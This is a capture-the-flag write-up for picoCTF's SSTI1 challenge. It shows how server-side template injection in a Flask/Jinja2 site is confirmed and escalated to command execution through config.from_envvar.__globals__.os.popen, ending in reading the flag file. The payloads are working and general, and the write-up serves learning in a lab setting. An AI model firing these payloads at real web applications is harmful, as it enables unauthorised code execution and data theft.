picoCTF: SSTI1 — Writeup
Published on June 3, 2025
Challenge: picoCTF: SSTI1
Difficulty: Easy
Description: I made a cool website where you can announce whatever you want! Try it out! I heard templating is a cool and modular way to build web apps!
There's our hint.
Initial Testing
I entered {{7*7}}
, which evaluated to 49
, proving that input was being executed. The math working confirmed that a Python-based templating engine was in use - specifically Jinja2 since this is the standard syntax.
My Theory
Once I saw that template injection was possible, I knew I needed to access Python objects to escalate to code execution. Flask applications typically expose configuration objects in their templates, so that seemed like the logical starting point.
Exploitation Chain
I started by accessing Flask's config object:
{{config.items()}}
It returned application configuration data, which meant internal Python objects were accessible. I built off that by leveraging the fact that Python methods have a __globals__
attribute that points to their surrounding scope. Using that, I reached the OS module and executed system commands:
{{config.from_envvar.__globals__.os.popen('ls /').read()}}
That worked. I listed the contents of /challenge
:
{{config.from_envvar.__globals__.os.popen('ls /challenge').read()}}
Saw a file called flag
, then grabbed it with:
{{config.from_envvar.__globals__.os.popen('cat /challenge/flag').read()}}
Key Takeaway
Everything followed from a small test. I didn't need to know the exact backend. Once Python-style syntax worked, I used the structure of the language to access what I needed and escalate to full code execution. No guessing, just controlled probing and execution.
Template injection is all about understanding object relationships. The __globals__
technique works because Python methods retain references to their defining scope, allowing access to imported modules like os
. Sometimes the direct approach beats complex payload crafting.